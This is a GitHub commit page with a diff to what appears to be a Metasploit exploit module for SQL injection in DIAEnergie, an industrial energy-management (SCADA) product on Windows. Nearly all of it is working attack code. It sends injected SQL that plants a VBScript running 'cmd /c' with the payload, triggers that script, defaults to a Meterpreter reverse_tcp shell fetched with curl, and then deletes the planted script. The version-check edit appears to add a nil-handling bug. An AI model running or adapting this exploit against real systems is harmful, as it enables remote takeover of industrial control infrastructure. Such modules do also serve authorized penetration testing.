Skip to content

Commit 35cbf63

Browse files
committed
Minor fixes
Specified a default payload Randomized date and time Wrapped cleanup in an ensure block
1 parent 4e8f27b commit 35cbf63

File tree

1 file changed

+54
-39
lines changed

1 file changed

+54
-39
lines changed

modules/exploits/windows/scada/diaenergie_sqli.rb

Lines changed: 54 additions & 39 deletions
Original file line numberDiff line numberDiff line change
@@ -30,7 +30,10 @@ def initialize(info = {})
3030
{
3131
'Arch' => [ ARCH_CMD ],
3232
'Platform' => 'win',
33-
'DefaultOptions' => { 'FETCH_COMMAND' => 'CURL' },
33+
'DefaultOptions' => {
34+
'FETCH_COMMAND' => 'CURL',
35+
'PAYLOAD' => 'cmd/windows/http/x64/meterpreter/reverse_tcp'
36+
},
3437
'Type' => :win_fetch
3538
}
3639
]
@@ -69,10 +72,8 @@ def check
6972
version_pattern = /\b\d+\.\d+\.\d+\.\d+\b/
7073
version = res.match(version_pattern)
7174

72-
if version
73-
version[0]
74-
else
75-
return Exploit::CheckCode::Detected
75+
if version[0].nil?
76+
Exploit::CheckCode::Detected
7677
end
7778

7879
vprint_status('Version retrieved: ' + version[0])
@@ -92,43 +93,57 @@ def execute_command(cmd)
9293
scname = Rex::Text.rand_text_alphanumeric(5..10).to_s
9394
vprint_status('Using random script name: ' + scname)
9495

96+
year = rand(2024..2026)
97+
month = sprintf('%02d', rand(1..12))
98+
day = sprintf('%02d', rand(1..29))
99+
random_date = "#{year}-#{month}-#{day}"
100+
vprint_status('Using random date: ' + random_date)
101+
102+
hour = sprintf('%02d', rand(0..23))
103+
minute = sprintf('%02d', rand(0..59))
104+
second = sprintf('%02d', rand(0..59))
105+
random_time = "#{hour}:#{minute}:#{second}"
106+
vprint_status('Using random time: ' + random_time)
107+
95108
# Inject payload
96-
print_status('Sending SQL injection...')
97-
connect
98-
sock.put "RecalculateHDMWYC~2024-02-04 00:00:00~2024-02-05 00:00:00~1);INSERT INTO DIAEnergie.dbo.DIAE_script (name, script, kid, cm) VALUES(N'#{scname}', N'CreateObject(\"WScript.shell\").run(\"cmd /c #{cmd}\")', N'', N'');--"
99-
res = sock.get
100-
if res.to_s == 'RecalculateHDMWYC Fail! The expression has too many closing parentheses.'
101-
vprint_status('Injection - Expected response received: ' + res.to_s)
102-
else
103-
fail_with(Failure::UnexpectedReply, 'Unexpected reply from the server received: ' + res.to_s)
104-
end
105-
disconnect
109+
begin
110+
print_status('Sending SQL injection...')
111+
connect
112+
vprint_status("RecalculateHDMWYC~#{random_date} #{random_time}~#{random_date} #{random_time}~1);INSERT INTO DIAEnergie.dbo.DIAE_script (name, script, kid, cm) VALUES(N'#{scname}', N'CreateObject(\"WScript.shell\").run(\"cmd /c #{cmd}\")', N'', N'');--")
113+
sock.put "RecalculateHDMWYC~#{random_date} #{random_time}~#{random_date} #{random_time}~1);INSERT INTO DIAEnergie.dbo.DIAE_script (name, script, kid, cm) VALUES(N'#{scname}', N'CreateObject(\"WScript.shell\").run(\"cmd /c #{cmd}\")', N'', N'');--"
114+
res = sock.get
115+
if res.to_s == 'RecalculateHDMWYC Fail! The expression has too many closing parentheses.'
116+
vprint_status('Injection - Expected response received: ' + res.to_s)
117+
else
118+
fail_with(Failure::UnexpectedReply, 'Unexpected reply from the server received: ' + res.to_s)
119+
end
120+
disconnect
106121

107-
# Trigger
108-
print_status('Triggering script execution...')
109-
connect
110-
sock.put 'RecalculateScript~2024-02-04 00:00:00~2024-02-05 00:00:00~1'
111-
res = sock.get
112-
if res.to_s == 'Recalculate Script Start!'
113-
vprint_status('Trigger - Expected response received: ' + res.to_s)
114-
else
115-
fail_with(Failure::UnexpectedReply, 'Unexpected reply from the server received: ' + res.to_s)
116-
end
117-
disconnect
122+
# Trigger
123+
print_status('Triggering script execution...')
124+
connect
125+
sock.put "RecalculateScript~#{random_date} #{random_time}~#{random_date} #{random_time}~1"
126+
res = sock.get
127+
if res.to_s == 'Recalculate Script Start!'
128+
vprint_status('Trigger - Expected response received: ' + res.to_s)
129+
else
130+
fail_with(Failure::UnexpectedReply, 'Unexpected reply from the server received: ' + res.to_s)
131+
end
132+
disconnect
118133

119-
# Cleanup
120-
print_status('Cleaning up database...')
121-
connect
122-
sock.put "RecalculateHDMWYC~2024-02-04 00:00:00~2024-02-05 00:00:00~1);DELETE FROM DIAEnergie.dbo.DIAE_script WHERE name='#{scname}';--"
123-
res = sock.get
124-
if res.to_s == 'RecalculateHDMWYC Fail! The expression has too many closing parentheses.'
125-
vprint_status('Cleanup - Expected response received: ' + res.to_s)
126-
else
127-
fail_with(Failure::UnexpectedReply, 'Unexpected reply from the server received: ' + res.to_s)
134+
print_good('Script successfully injected, check thy shell.')
135+
ensure
136+
# Cleanup
137+
print_status('Cleaning up database...')
138+
connect
139+
sock.put "RecalculateHDMWYC~2024-02-04 00:00:00~2024-02-05 00:00:00~1);DELETE FROM DIAEnergie.dbo.DIAE_script WHERE name='#{scname}';--"
140+
res = sock.get
141+
if res.to_s == 'RecalculateHDMWYC Fail! The expression has too many closing parentheses.'
142+
vprint_status('Cleanup - Expected response received: ' + res.to_s)
143+
else
144+
fail_with(Failure::UnexpectedReply, 'Unexpected reply from the server received: ' + res.to_s)
145+
end
146+
disconnect
128147
end
129-
disconnect
130-
131-
print_good('Script successfully injected, check thy shell.')
132148
end
133-
134149
end

0 commit comments

Comments
 (0)